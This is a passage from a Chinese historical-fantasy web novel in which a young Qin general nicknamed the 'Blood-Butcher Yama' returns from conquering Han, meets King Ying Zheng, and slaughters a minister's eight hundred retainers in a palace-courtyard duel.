隔着数里看上一眼,尚且胆战心惊,汗毛竖起,好似有大危机突然降临。
只见那少年将军在城墙上面往城外方向迈了一步,喝问一声,“来者何人?”
瞬间似有山岳一般的压力轰然压倒过来。
王腾身后的一些官员顿时吓得驻马不前,几名生性怯弱的马儿甚至突然前蹄跪地,将马背上的主人甩了下来。
阵中顿时一片大乱。
此情此景,就算是王腾,也是首次见到,不由得脸色微变。
“这少年莫非就是那新贵将军赵诚?如此威势,当真骇人听闻。”
他高喊道,“赵将军,我乃王腾,曾任内史,今奉大王之名,新任颍川郡守,来此接手新郑,查封韩王室宫藏,尽收舆图、户籍、律令简牍,解送咸阳御史府……”
赵诚大笑,竟跃下城头迎了上去,“快快入城,本将等候多时了。”
这一幕更是看得诸多官员胆战心惊。
“这……这么高的城墙,就这样跳下来了?”
“未免……未免也太……”
众人说不出话来。
赵诚几步到了近前,龙行虎步之间,渐能看清其英武面容。
脸上带笑,却遮掩不住那浓浓的杀伐之气。
王腾强压心中怯意,顶着赵诚那骄阳般的威势,细看了两眼,越看越是心惊。
怪哉!
这少年怎么看起来如此肖似大王?
“郡守为何出神?快快入城。”赵诚拍了拍王腾胯下的马儿,马儿顿时顺从地向着城中而去。
王腾一惊,回过神来,连忙想要下马对赵诚行礼,奈何马儿已经不听使唤,只得强行一跃。
跳下马背,对着赵诚恭敬行礼,“王腾见过上将军。”
“上将军?”赵诚疑惑,“我只是陛下委任的临时将军,如何称得上将军?”
王腾笑道,“陛下要封赵将军为大良造之爵,拜上将军,如今只是还没封爵,等将军回了咸阳,自然便是大良造之爵,可称上将军了。”
“陛下可有令于我?”
“陛下命将军即刻凯旋,回师咸阳。”
“好!”赵诚笑了起来。
呆在这里实在无聊,他早就待够了。
赵诚带着王腾等官员进入新郑,将韩王与一些王族押入军中,又将其余贵族交给了王腾,便立刻带着兵马出城而去,直奔咸阳。
一路上,韩国境内已经开始施行秦制。
各地都在颁行秦铜权、铜量,废韩氏旧制。
罢韩地“蝌蚪文”,颁行李斯所书《仓颉篇》,令郡吏教习秦篆,凡官府文书、市肆契券必用秦文,违者罚赀甲盾。
又以“什伍连坐法”重编韩地户籍,民户按“四境之内,丈夫女子皆有名于上”之制,登记年龄、田宅、资产,严禁隐匿人口。
途中,又看到许多韩地强宗大族,全族上下都被押送在路上,迁往至陇西、北地戍边。
同时,还有一些秦国民众,甩着如同长龙一般的队伍,被迁徙到颍川郡,与韩民杂居,传播秦俗。
赵诚率军一路走来,韩民畏之如虎,秦人敬之如神。
血屠阎罗之名,倒是越传越广。
让赵诚有些无奈。
韩人传也就罢了,怎么秦人也传?还一脸高兴的样子。
也不知道这恶名现在传到哪了……
第69章 君臣迎凯旋,父子初相见
“血屠阎罗?”
蒙威听着属下的汇报,哭笑不得。
“这小子在韩境杀的,恶名都传到这来了。”
王远也是笑道,“八日灭韩,所过之处,尽屠诸城,不是血屠阎罗是什么?”
蒙威撇了撇嘴,“你懂什么,这是战术,疾袭韩都,沿途必须要杀尽敌军有生力量,不然容易被偷了屁股。”
王远嗤道,“这还用你说?我自然知晓,不过这在其他国家才算是恶名,在咱们秦国,这是威名!大大的威名!”
蒙威大笑起来,面露得意,“赵诚这才入伍多久,已经率军灭韩,闯出天大威名,震慑诸国,本官真是慧眼如炬!”
王远没眼看他这得意的样子,不理他这茬。
“几日前,韩国故地已经设为颍川郡,算算时间,他也该领军回师了,不知会不会路过咱们这里。”
蒙威笑道,“我建议你提前备点粮草出来,这孩子六千轻骑疾袭,肯定没带辎重队伍,只要他没和我兄长会师,迟早得到咱们这里停上一停。”
王远摇了摇头,“不合规矩,至少得验了虎符才行……”
正说着,一名城卫守卒疾奔而来,脸色有些苍白,但是神情激动。
“报——”
“城外,赵诚将军率六千轻骑驻扎,请调粮草!”
蒙威大笑,指头点了点王远,当先迎出门去了。
王远命人备出粮草,也是紧随其后。
出了司马门,蒙威和王远同时一怔。
只见面前六千轻骑军威如山,滚滚军气混着杀伐之气,浓烈得几乎化不开。
而在军阵之前,一名身着将军大铠的魁梧雄武少年挺坐马上,好似山岳一般巍然,那一身血煞之气,更是让人心惊肉跳。
这时蒙威总算是知道为何那城卫守卒脸色苍白了,原来不是因为激动,而是被这军气和煞气冲撞的。
别说周围那些城卫守卒了,就连蒙威自己面对着赵诚这一部军马,那也是心里一突。
赵诚远远见了蒙威,立刻翻身下马,迎上前去。
“蒙叔!”
身份虽与之前天壤之别,但态度与之前并无二致。
蒙威心中那一丝不适应也随之散去,但却拱手肃拜,“阳城县尉蒙威,恭贺将军凯旋!”
王远也是行军礼肃拜,“阳城县令王远,恭贺将军凯旋!”
赵诚哭笑不得,“这是作甚?我是来请调粮草的,可不是来摆威风的。”
蒙威摆了摆手,“诶,大军之前,该有的礼不能少。”
他后退两步,上下看了看赵诚,惊奇道,“怎么感觉又高壮魁梧了许多?”
赵诚笑道,“军中吃得饱。”
提起这个,蒙威就是无语。
你这家伙差点把县廷吃穷了,难道那时候吃不饱?
蒙恬在赵诚身后探出头来,也是咧着嘴笑,“二叔!”
“我这次跟着阿诚立功无数,之后你的爵位都要比不上我了。”
蒙威苦笑摇头,“你算是捞着了,跟着阿诚灭韩,哪有缺军功的道理?”
蒙恬捂着肚子道,“二叔,快验虎符,再不吃饭,兄弟们都要饿死了。”
“你不说我都快忘了。”蒙威领着赵诚几人入司马门,而后核验了大将虎符,看着那和蒙武级别平齐的虎符,蒙威心中又是一阵感慨。
离开阳城的时候,这孩子还只是突骑营的一名锐士。
回来的时候,却已经是地位等同于兄长的大将。
而要不了多久,恐怕爵位就要比兄长还高了。
这升爵的速度,比平步青云还要夸张啊。
“……我就不吃了,离家许久,要回去看看。”
城中调粮之际,赵诚谢绝了蒙威的招待,卸了铠甲,洗去风尘,独自往家中而去。
离家近两个月,他有点想念舅母做的家常饭菜了。
如今,他更加高大魁梧,肩宽背阔,猿臂蜂腰,即使是衣服遮掩之下,依然能够隐约看到如钢铁雕塑般的肌肉线条。
而且,因为修行的缘故,肤色也白嫩了许多,加上战场屠杀无数养就的血煞之气,许多村民已经认不出他来。
只是觉得赵诚眼熟,但是在那威势之下,根本不敢正眼去看他。
有不小心与之对视的,也是连忙低下头匆匆离开,徒留想打招呼的赵诚,放下了自己尴尬的手。
他一路穿村而过,来到了里正舅舅家,却发现家中没人。
听到村民议论,才知道,因为自己封爵的事情。
舅舅舅母多日来,一直在自己的新宅处监工,还有一些食邑的事情要处理,所以经常不着家。
于是赵诚又朝着自己的封地去。
到了赵诚自己的属田,他站在刻有“右更赵诚田”的界碑前,看着一望无边的田地,竟有些不适应。
又走了一阵,才终于到了自己的新宅处。
新宅已经建成了大部分,但是在后院方向,依然还在扩张。
当真是高门大户,和自己之前那草屋,简直是天壤之别。
这哪里住得过来?
赵诚摇了摇头,又绕行过去,到了在建的地方,已经听到了舅母尖利的声音。
“你这里建的不对!我家外甥长得高大,你弄这么窄,他怎么过!?”
“哎呦!不对不对!!矮了!”
“这门廊哪有这样布置的?”
“滚到一边去,让我来!”
赵诚哭笑不得,连忙转过拐角,在还未建成的墙体上一跨而过,一眼就看到自己那彪悍的舅母掂着脚,高昂着脑袋,伸长了胳膊,在费力地忙乎着什么。
他凑上前去,缩着脑袋矮着肩膀,脸色变得古怪,“这么建能对吗?”
舅母怒道,“你懂个屁!就得这么弄,不然不矮了吗?”
赵诚问道,“要是他又长高了呢?你家外甥不是才十六岁?”
舅母怒道,“你懂个屁啊!哪有人长得那么快……”
她说着说着,突然一扭头,看见了赵诚缩着脑袋在门廊之下,笑眯眯地看着自己。
舅母“啊”的一声丢了手中的工具,一巴掌就打上了赵诚的脑袋。
“死崽子!!咋是你啊!”
“你还知道回来啊!”
“怎么长得这么高了,也壮了,哎呦,咋还白嫩了……”
啪啪几巴掌下去,倒把她自己打得眼泪汪汪。
拉着赵诚就走,“张余!!张余!!”
“铁娃子回来了!”
舅母的大嗓门传遍村中,村中人这才知道,那魁梧雄武,让人不敢直视的煞星原来是村里的小铁人赵诚。
这下村里翻了天,一个个挤在张余家门口探头探脑。
舅母一边忙忙碌碌给赵诚做饭,一边嘴里不闲着,驱赶外面的人,嫌他们太烦。
赵诚依旧狼吞虎咽地吃光了一桌子饭菜,让舅舅舅母随意取用自己的食邑和封赏,而后便急匆匆的告辞离开,回军中去了。
这一来一回,军中将士也都吃饱了,还带上了干粮,一路奔向咸阳。
之后一路坦途,如风而过,沿途不论郡守县令,都是提前备好了粮草等候在城外,想要一睹传闻中八日灭韩的猛将。
当远远看到赵诚军旗之后,无不为这一部冲天军气所慑。
血屠阎罗之名,传的是愈演愈烈,算是坐的结结实实。
……
咸阳渭水之东,浮桥之上晨雾未散,赵诚的黑面大旗已是飘扬而来,军气滚滚而上,马蹄阵阵如雷。
六千轻骑一冲而过,其霸烈锋锐,吓得咸阳城卫都是一阵心惊肉跳。
“陛下。”
城头之上,昌平君心惊之际,有些不满的对嬴政说道,“赵诚将军此举不合规制,已近咸阳,怎可如此奔马飞骑,这哪里像回师,不知道还以为他要来攻打咸阳了!”
昨夜军报传来,赵诚次日清晨便能抵达咸阳。
于是嬴政带着百官,早早来到城头之上,说要大家一起看看这一部军风如何。
如今看到如此霸烈军风,他本心情极佳,被昌平君这么一说,不由扰了兴致。
李斯则是说道,“若无此锋芒,岂称大秦之利刃?无此霸烈,如何以神威震慑诸国?”
“臣以为,如此行军,正显其不世之锋!”
嬴政面色始终不变,眼中却有笑意一闪而逝。
“看过了,回章台宫观阙。”
他当先转身离开,众百官紧随其后,不敢多言,谁也不知道君王此时在想什么。
只是看过了赵诚一部入营,他们都是若有所思。
按照规制,凯旋军队不能直接入城。
而是先要进入渭水南岸的细柳营整军,将大部分将士安置在这里。
再将粮草交给输粮都尉统管。
而后按“振旅”古礼整军入城。
咸阳宫就那么大,容纳不了大军进入。
不过赵诚一部只有六千,而且各个战功赫赫,倒是可以全部入城,而且,他们也没有什么粮草需要统管。
只是需要整军,而后布置三驺开道。
这一番操作,从营中再出来的时候,已经是巳时中。
主将赵诚乘六马革车,率六千轻骑齐军缓行向咸阳城,前驱仪仗开道,声势浩大。
最前第一驺,执赵诚大旗二十人,铜钲喧天。
第二驺,“执俘队”百人,缚韩王子孙及贵族于白茅,象征受俘于天,,肩扛韩君印玺、青铜礼器向前,示众前行。
第三驺“献馘队”五十人,盛韩将首级于木匣,悬耳级于竿,此为秦“计首授爵”实证。
仪仗阵营经五十步宽的御道,步入咸阳正门,穿司马门,直向章台宫前广场。
御道两侧,黔首夹道,兵吏持殳,百姓跪伏相迎,却都是面色兴奋,朝着仪仗队后面望去。
“来了来了!”
“这就是咱大秦的血屠骑军?主将呢?”
“血屠阎罗啊,听说在韩境看上一眼,就能够吓死一百个韩人,会不会长得青面獠牙?”
“你们知道什么?我听人说,别看这主将声名凶,长得俊着嘞!”
“快看快看,那是韩王吗?”
“噫,这就是韩国君王,和咱们长得一样嘛,两个眼睛两个耳朵一张嘴……”
“呀!”
突然,有百姓探头,透过仪仗,看到了车中端坐如山的赵诚。
与之四目相对的瞬间,顿时浑身一震,差点尿了。
“真是……真是阎罗!”
屠户杀猪无数,猪看见他就会本能害怕惊惧。
赵诚杀人无数,人见其自然会发自本能的震怖。
这种意志外散出来,就是血煞杀伐之气。
百姓看到山匪,尚且会本能地畏惧,赵诚杀的人比山匪多了何止千万倍,哪里是百姓能与之对视的?
随后越来越多的百姓看到赵诚,都是面色苍白低下头去,不敢再多看一眼。
不过众人也确定了,此“血屠阎罗”并非青面獠牙,反而长得出奇英武俊朗。
面如冠玉,魁梧雄武。
他们也第一次知道,有种恐惧,并不源自于可怖面貌。
章台宫观阙台。
嬴政亲率三公群臣,于这宫殿高台之上迎接赵诚凯旋。
他身着玄色十二章纹衮服,戴远游冠,持象征军权的玉琥,挺立最前。
群臣着朝服,按爵级排列其后。
廷尉李斯站在丹陛东侧,执“简册”记录功勋,国尉尉缭站西侧,持“铜虎符”验核军功簿。
远远地,第一驺已经持大旗,鸣着铜钲,踏入殿前广场。
嬴政已经隐隐能够看到那革车之中魁梧雄武的少年将军身影。
长目凝视间,他的心中有些恍惚。
而后,第二驺,第三驺,相继步入前广场。
看着那仪仗队缓缓步入章台宫前广场,他此时竟有些心绪难平。
赵诚的身影愈发清晰,隐隐已经能够看清其面容。
近了,更近了。
嬴政长目凝视,似有亮芒,又夹杂着丝丝意外。
与他想象的不同,这孩子竟然不是黝黑的军汉,而是面如冠玉的俊朗少年。
其面容之英武,额如削玉,眉似开锋,星目如剑,杀气如凝。
真是瞳光乍现惊寒雀,睫羽翻时裂天云,直教秦宫照胆镜,亦愧难描杀气凝。
见其面貌越发清晰,一双星目也在看着自己,神色间似有迷茫奇异之色。
一直威严如冰川的嬴政,突然绽起了笑颜。
“蒙武所言不错,此子类孤!”
“昌平君,你的八百门客,可准备好了?”
第70章 八百门客试锋?且看锋芒何锐!
章台宫殿前广场之上,仪仗队伍喧天而来,声势浩大。
赵诚身着将军大铠端坐于革车之中,随着队伍前行行入前广场,他的面容在诸多大臣的眼中,也是越发清晰。
众臣渐渐露出惊奇之色。
待得队伍停在前广场,赵诚缓步走下马车,雄武身影如顶天立地一般挺立时,面容愈发清晰可见。
端的是:
额如削玉衔霜刃,眉似开锋映雪寒。一双星目破鞘出,恰似龙渊剑吐芒。
鼻若金枪斜指阙,梁如铁脊贯重霄,颧角棱棱如镞突,腮线凛凛似缨摇!
许多大臣见此,顿时越发惊疑不定。
只觉此子为何如此眼熟?
越看越是眼熟,而且眼熟之中,还有一种说不清楚的敬畏感觉弥漫在心中,夹杂着那对赵诚杀气的惊骇,形成了一种莫名的感觉。
让许多大臣只是见到赵诚,就好像矮了一头一般。
直至听到嬴政的笑叹,“蒙武所言不错,此子类孤!”
正惊疑不定的大臣们听到这话,才惊觉恍然,再看赵诚,终于知道了那种敬畏来自于哪里。
纷纷叹道:“原来如此,臣还在疑惑,为何此子看起来如此眼熟,让人见之就升起敬畏之心,原是肖似大王!”
“果真是贵胄之相,多有天表,此子神貌肖似大王,怪不得有如此神勇之能。”
“自是陛下烛照,才有此天赐神将于秦。”
嬴政笑着看向昌平君,“昌平君,你的八百门客,可准备好了?”
昌平君没想到嬴政竟然还记得这个事,原以为赵诚如此功勋,不会再提起。
不过他向来做事周全,八百门客也早早就准备好了。
“回大王,八百门客此时正在殿外等候。”
“好,待论功之后,昌平君尽管试之。”
嬴政看着周围疑惑不解的大臣们,笑道,“赵诚此前数战,皆是战功赫赫,足以惊世,更有许多人不敢置信,就算是寡人,也很是惊讶。”
“昌平君则对此多有疑窦,认为这军功作伪,便提出以八百门客死战赵诚,以此试之,看其是否真有万夫不当之勇。”
“今日殿前论功授爵,如此大事,自然不能存有一丝一毫的疑虑,便当着百官的面,让昌平君试之。”
“若真是军功作伪,寡人不会姑息。”
“不过,若不是作伪,昌平君也需要给将士们一个交代,免得让将士们寒心。”
众大臣看了看昌平君,对于他的质疑并不意外。
昌平君是楚系外戚首脑,与军方势力自然不对付,军方出现一个如此如日中天的人物,自然不是他愿意见到的。
不过以八百门客死战赵诚一人,未免有些难为人了。
赵诚虽然战功赫赫,但毕竟只是一个入伍不足半年的少年,战场之上拿下赫赫军功,那是因为战场上瞬息万变,许多人头都是以智谋取之,军报上有些夸耀也是无妨。
但这样阵前试之,条件却苛刻了许多。
万一,那新贵战之不下,这不是把人往死里得罪吗?
此时,赵诚挺立在殿前广场正中,遥遥打量着远处的嬴政,脸上也有迷茫之色。
说实话,他今天入城的时候,心情也是有些激动的。
不是因为即将封爵。
而是因为即将见到千古一帝——嬴政。
这位始皇帝实是开天辟地之人。
他,以金戈铁马终结春秋战国五百余年的裂土分疆,荡平六国、混一宇内,于咸阳宫阙前建立起中国历史上首个中央集权制王朝——秦。
他,以雷霆手段推行文明整合,书同文,车同轨,统一度量衡、划一货币,让秦国小篆贯通南北,驰道骨架辐射全国,轮辙所至皆为王土,将散落的华夏族群熔铸成一体。
他,北击匈奴,收复河套地区,修筑西起临洮、东到辽东的万里长城,不仅抵御了胡马南下,更成为农耕文明与游牧文明的地理界碑,在风沙中守护着中原沃野的炊烟与稻粟。
尽管从后世去看,他的功绩亦有争议,但在当时的情况下,做出这些豪举的嬴政,绝称得上是开天辟地的千古一帝。
即将直面这位,赵诚自是心绪难平。
结果远远看到嬴政的时候,他就有点迷茫了。
怎么看着如此眼熟?
越看越是眼熟,却不知道是在哪里见过。
赵诚苦思冥想,甚至连前世的明星网红面容都回忆了一遍,却始终想不到嬴政长得像谁。
于是脸上便一直带着迷茫之色。
这时,一名礼官已经上前,将准备好的斩捕首虏簿交递给赵诚,小声提示道,“将军以此呈递国尉,国尉会宣读此战功勋,以此论功。”
赵诚点了点头,压下心中那若隐若现的熟悉感。
手持斩捕首虏簿大步上前,龙行虎步之间,如金山玉柱向前压去,压迫感扑面而来,一些大臣甚至感到有些窒息。
尉缭感受着那旺盛有若骄阳般的生命威势,面色逐渐变得凝重,甚至身体都微微绷紧起来。
只这一瞬间,他便确定了,赵诚的那些恐怖军功,绝不会是作伪。
此子,恐怕已经修为通天!
直至赵诚来到国尉身前,竟比本就高大的尉缭还要高上一头,站在那里如巍然山岳。
他微微肃拜,而后将斩捕首虏簿递上。
“末将呈斩捕首虏簿。”
国尉接过,看着这厚厚的斩捕首虏簿,心中感慨,还从未宣读过这般厚重的斩捕首虏簿。
他展开斩捕首虏簿,当众宣读道,“右更将军赵诚,此战随军攻韩,方城隘口一役,先登破城,斩敌擒将,杀敌二百二十七级,率众杀敌五百四十级……”
“叶县攻城一役,间入城中,毁其中枢,城头斩将,破门启关,斩敌五千三百四十一级……”
“灭楚援,斩其将,率军斩敌三万……”
“夜袭犨城,率军斩敌一万……”
“率轻骑灭韩,大破阳翟,率众斩敌三万……”
“大破襄城,率众斩敌一万……”
“尽灭长社,杀敌八千……”
“陉山方城,杀敌一万……”
“灭韩都新郑,斩敌两万,捕俘六万余,生擒韩王,尽俘王公……”
“此战风驰电掣,摧枯拉朽,实乃扬大秦之天威!”
“以此灭国殊勋,当封以列侯之基,大良造之爵,拜上将军,以示天下。”
殿前广场之上,尉缭声音雄浑荡开,回荡在此天地之间。
这长长的功勋之中,所有大臣们都听出了一个字。
杀!
浓浓的血气几乎是扑面而来。
当真是只有起错的名字,没有起错的外号,血屠阎罗四字,与这少年杀星何其般配!
宣读的余音渐渐散去,场中安静之际,嬴政突然开口。
“赵诚。”
赵诚肃拜,“臣在。”
嬴政看了一眼昌平君,“昌平君谮言尔军功有伪,欲以八百食客于辕门试锋。”
“寡人曾言,赵诚可为我大秦之利刃,国家之柱石,岂惧金戈试锋?
今便问你,可敢以吴钩饮血,教咸阳宫阙见识,寡人亲封的大良造,锋芒何锐?”
赵诚眉峰一挑,好似宝剑出鞘,锋芒刺穹!
他按剑大笑,目光如镞直射昌平君,声震殿瓦,“八百门客?不过廊下趋走之徒!若论死战,当以万甲为赌!”
“赵某斩敌首时,血溅阶下可曾计数?今便教尔等知,吾腰间宝剑非为虚佩!”
当此之时,他那已经收敛多时的杀气豪放而出,众大臣无不感觉暴虎扑面,浑身汗毛倒竖,如坠冰窟。
这才知道,赵诚此前还是收敛了来的。
昌平君脸色难看,好个狂徒,竟敢对自己放出杀意!
还说八百门客不够他杀的,要以万甲为赌!
可他如今上哪去找上万甲士?
就算找来了,就算被赵诚杀了大半,那也是承担不起。
于是冷哼一声,“竖子莫要狂傲,吾之门客,亦有千夫莫敌之勇,如此八百人,你尚且胜之不易,何须万甲?”
“唤吾门客来!”
八百门客早就等候多时,此时在尉官的引领下,鱼贯而入,踏入前广场。
为首一人,是一按剑之青年。
那酒鬼反倒是迷迷糊糊的跟在队伍之中,不显山不露水。
赵诚此来论功授封,穿的是将军铠,配的是将军剑,于是没有拿出大戟,只是按剑走下台阶。
随着他前行,六千轻骑迅速分开,为赵诚空出一大片区域。
在他们的脸上,丝毫看不到一丝紧张,反倒显得有点无聊。
甚至有人撇嘴,露出不屑之色。
他们见惯了将军神武。
八百门客?
都不够将军热身的。
一国之丞相,手笔未免太小家子气了些。
第71章 酒气真罡醉屠子,能当吾一戟之威?
顿弱本是摇头暗笑昌平君的无知,然而看着看着,突然目光一凝。
他看到了那门客人群之中摇摇晃晃的老酒鬼,心中不免为之一沉。
昌平君从哪找来的此人!?
这昌平君真是有取死之道,他要输给赵诚了还好,要真是把赵诚斩于殿前,可就捅了大篓子了!
他悄无声息来到嬴政身侧,“陛下,那门客之中,有不凡之辈。”
嬴政神色不变,依然静静看着迎向门客的赵诚。
顿弱继续悄声说道,“那酒鬼号醉屠子,以前是九嶷山的隐士。
生平最爱喝酒,隐于贵族之家做了最低等的浆人,有一次因为喝得太多,又被人激怒,屠戮了燕国贵族满门。”
“燕丹秘卫易水寒,派出整队秘士追杀他,前后被他屠了三队寒蝉,而后消失无踪。”
“此人自创有青蚨咒,醉里乾坤诀,将酒气炼入奇经八脉,每醉一次,体内酒气真罡便凝实三分。”
“听说能化酒气为兵刃,斩金断玉而不沾一滴酒水,是非常危险的人物。”
听到那老酒鬼竟然能杀掉燕国三队寒蝉,嬴政终于看向了他。
却见此人踉跄着拎着酒葫芦,发髻用草绳胡乱捆扎,衣摆沾满酒渍,嘴里嘟嘟囔囔着什么,任谁看都是个落魄醉汉,没想到却有如此奇能。
“你觉得赵诚敌不过他?”
顿弱想了想,“赵诚有孤身破城,万夫莫敌之勇,两人交战,胜负尚未可知。”
“不过,赵诚擅长的是战场杀伐,如此对战,恐怕没有什么优势。”
嬴政目光依然静静看着那骄烈少年,“那就看下去,一介醉屠而已,寡人相信吾大秦国士能赢。”
顿弱退下。
嬴政却突然朗声道,“寡人听闻赵将军善戟,可横扫千军,至今未得一见。”
“来人,赐戟!”
秦王所赐,规格自然不同凡响。
只是片刻间,就有八名材士共同抬着一个大箱子前来。
箱子种种落地,打开之后,竟有宝光辉映出来。
赵诚上前,将大戟提在手中掂了掂,满意地对着嬴政肃拜,“臣恭谢大王赐戟。”
见那七八个人合力才能够抬起来的宝戟,在赵诚手中甚至轻飘飘的,众人都是为之惊骇。
嬴政亦是露出笑容来。
“战吧。”
话音一落,赵诚已经如同疾风一般冲入门客群中。
那门客最前方的持剑青年剑光一转,瞬间刺来,这一剑寒光凛冽,锋芒无尽,直逼赵诚咽喉。
与此同时,他身边的数名门客也是瞬间暴起,从极静到极动,只在一瞬之间。
这速度之快,令诸多大臣都是骇然,感到开了眼界。
然而下一刻。
大戟如银河落野!
剑光折碎,血光翻飞,人首如堕。
众人甚至看不清楚那些剑客出剑,也更看不清楚他们是如何死的。
只觉得赵诚一冲而过,那数名高手剑客便瞬间尸首分离倒地暴毙。
“嘶……”
诸多大臣倒吸一口凉气。
这等高手围杀,竟然不是其一合之敌?
然而更可怕的还在后面。
在那数名剑客被杀之后,已有十七八个人自四面八方围杀而来,他们早已结阵等候赵诚入网,此时突然发力,将其困在其中绞杀。
这战阵之法好似传承至兵家一脉,十几个高手之间互相勾连,环环相扣。
在赵诚踏入杀掉几名剑客的一瞬间,就形成了封锁困龙之势,无数剑光交叠而来,更有几人手持锁链,在阵型周旋之间,不断捆缚向赵诚的周身上下。
同时,还有其他门客手持长兵器朝着赵诚的身上招呼。
暗中还有人手持弩箭,放着冷箭。
如此围困之势,任谁来看,都根本无从应对,只能被动挨打。
然而赵诚体内真元涌动之间,前冲之势片刻不停,这封锁困龙之阵,在一瞬间被其冲得爆碎!
噼啪爆响之间。
后方拉扯着锁链的人,都被其冲势拽得飞了出去。
而前方绞杀赵诚的,则被赵诚一戟劈成了两断,大戟卷动罡风,去势不减,又接连撕裂后方七八名放冷箭的人。
断臂残肢飞起,惊呼惨叫不绝。
这些原本还有些不以为意的门客,此时终于感受到了韩人惊呼血屠阎罗的心情。
这家伙,大戟一挥,有若天倾!
简直不是人力能挡的!
众门客胆寒之际,赵诚有若虎入羊群,再次掀起腥风血雨。
原以为回咸阳之后,短时间内没有战事了,没想到还有这种送人来杀的好事!
虽是人数不多,还算稍解杀瘾。
许多门客惊惧,仓皇后退。
如此浪潮急退之时,方能见到真勇士。
门客之中,确有真金不怕火炼。
有人逆流而上,兔起鹊落之间,骤现杀机。
那是一名身材矮小的中年人,手持一柄匕首,奔跳之间无声无息,眨眼之间已经摸到了赵诚的身后,匕首闪烁绿芒,刺向赵诚的后心。
杀手!
然而这匕首还没抵达赵诚体外五尺之内,就突然停滞不前。
嘭!
身材矮小的杀手,连同手中的匕首,突兀地爆碎开来,化作一片血雾。
当此之时,那耷拉着头醉软在角落的醉汉豁然抬头,原本醉眼惺忪的目光瞬间清亮,锁定了赵诚!
他突然晃晃悠悠的站了起来,而后跌跌撞撞地钻进了人群,向着杀戮不断的赵诚靠近过去。
沿途之中,门客们都感到一股越发浓烈的酒气,吸到一口就头晕目眩,身子发软。
酒气越来越烈。
一些没什么本事的门客竟然相继醉倒了下去。
醉屠子走到赵诚不远处的时候,身后已经倒下不少人在酣睡。
众大臣见到这一幕,纷纷惊奇。
而顿弱则是有些心惊肉跳。
他死死地看着赵诚,希望赵诚这时候能够重视一下门客之中的那名醉汉。
希望赵诚能够反应过来。
甚至急得想要呼喊一声提醒赵诚。
但是不行,当下的形式不允许他这样做,只能急得额头冒汗地盯着那醉汉在人群之中不断朝着赵诚靠近。
而嬴政的眼中,第一次流露出不满。
这醉屠子身怀奇能,怎么还能如此阴险?
八百人对一人,竟然还要偷袭?
他的心,不由得也微微提了起来。
只见赵诚再次一戟劈散一片门客,身后是尸山血海,身前无一合之敌。
不断地手起戟落,门客大片大片的死伤,眨眼之间,就有数十人倒下,血溅广场之上。
实在没有什么挑战性,再有一会儿,应该杀光了吧。
不过这些门客之中,确实有些能人,虽然达不到雪幽方习那等地步,但也和那偷袭自己后心的剑客差不太多。
那十几人的军阵合力,也算是有点意思,不过力量太小,自己还没发力,就冲溃了。
赵诚正觉无聊的时候。
突然感到体表一凉,一些要害之处似乎有所感应。
体表的肌肤同时绷紧,体内真元应激般高速运转起来,疾奔至那几处要害,层层交叠!
下一瞬!
嗤!
伴随着浓烈的酒气,有无形罡刃竟瞬间切穿赵诚那体表的真元,那临时奔来的多层真元,竟然被这股罡气层层切入。
而且速度之快,比赵诚体内真元运转更要快上三分,在后续真元爆发之前,已经突破层层防守,直抵赵诚肌肤。
赵诚的冲势第一次停滞,如山般倾轧向前的身影突然顿住。
完了!
顿弱眼睁睁看着醉屠子偷袭出手,而赵诚毫无防备中招,顿时脸色一白,感觉天要塌了。
嬴政第一次皱紧了眉头,眼中似有杀意弥漫。
昌平君嘴角含笑,心说这醉屠子倒是没说大话,军方去一新贵,局面就好平衡多了,可笑大王还主动提起此事……
当是时。
酒罡迅速突破护体真元,接连刺在赵诚咽喉、胸口、眉心几处要害之上!
叮当!
几声猝不及防又清脆响亮的声音传遍四方。
赵诚身子一晃,咽喉、胸口、眉心处,同时出现一丝裂口,嫣红鲜血流淌出来一丝。
赵诚皱眉,感受着皮肤开裂,以及骨头处传来的丝丝阵痛,心中亦是愕然。
竟然破防了?
还有高手?
他目光瞬间锁定不远处的醉汉。
醉汉如今清明的目光中,也满是愕然。
喝尽天下名酒,凝练千万坛酒气炼就的酒气真罡,只破了这小子的皮肤??
擦破了点皮!?
不是,就算是精铁大柱,他也自信能一斩而断,今日连人家的皮都只斩出一道小口儿?
愕然间,醉屠子低头看了看自己的酒葫芦。
再抬头时,赵诚已经如山崩一般冲到身前来。
醉屠子抬手又是几道酒气真罡挥去。
赵诚同时挥戟,大戟之上,亦有如海般的凝练真元劈来。
这是从方习的御使真元之法中推演出来的东西,虽然还不完善,但是架不住赵诚的真元多啊!
压倒性地碾灭酒气真罡。
赵诚已经倒提大戟,跃至醉屠子身前。
巍然高山般的身躯当空落下。
他头颅高昂,居高临下,睥睨俯视,含着冷笑,第一次全力爆发真元。
大戟如泰山压顶,裹挟无边真元一劈而下!
当是时,竟有雷霆炸开的声音,在大戟之上响起,瞬间传荡咸阳宫城!
咔嚓!
醉屠子再顾不得其他,张口吐出无尽酒气真罡,多年修为一朝爆发,浓烈酒气瞬间盈满广场。
大戟真如劈山断岳,自上而下,将无尽真罡劈散!
而后摧枯拉朽般,自醉屠子头顶劈入,毫无阻碍地将其碾为了血泥,而后去势不减地劈在前广场的地面之上!
轰的一声。
地面爆碎,出现了一个丈余宽的大坑,并向着四方皲裂开来。
地面也是震颤不已,整个宫城都有程度不一的震感。
甚至有多处惊呼地龙翻身。
诸多大臣更是骇得连连后退,惊恐看向赵诚,以及地上的那个深坑。
一戟之威,竟能如此?
他们看不懂赵诚的真元与醉屠子的酒气真罡对战,但是这一戟,出如雷霆炸响,落则震撼宫廷,当真是让他们惊为天人!
第72章 戟指相国!把昌平君架在火上诛心!
赵诚独立阵前,骇退四方门客。
昌平君脸上的笑容彻底僵硬,看着那独立于前广场之前的赵诚,他心中开始涌起惊惧。
只有他知道,那醉屠子能力如何神异,如此偷袭出手,竟然只堪堪破了赵诚的皮,这家伙是铁打的不成?
还说什么,随手灭之?
这怎么反倒被赵诚随手给灭了,连尸骨都看不到了。
一戟,就一戟啊!
往日那些豪言壮语,赐下的那些天下名酒,在这一戟之下,全都打了水漂了!
连醉屠子都挡不住赵诚一戟,其他养了许久的门客,哪还有什么活路?
今天过后,相府怕是再无一名门客!
这可都是楚系赖以维系影响力的巫祝方士啊!
顿弱也是被这一戟骇的浑身剧震,他不明白,醉屠子怎么能败的这么快。
十年前就能杀掉三队寒蝉的醉屠子,如今的酒气真罡该到了何等地步?
却只是破了赵诚的防,听那声音,这少年的身躯恐怕已经横练到了极致,可他才十六岁啊,这怎么可能?
自己的推测难道是错的?
正大脑空白之际,一旁传来嬴政的声音。
“嗤,这也不怎么样嘛,寡人还以为真是个厉害人物,却当不得大秦柱石一戟之威。”
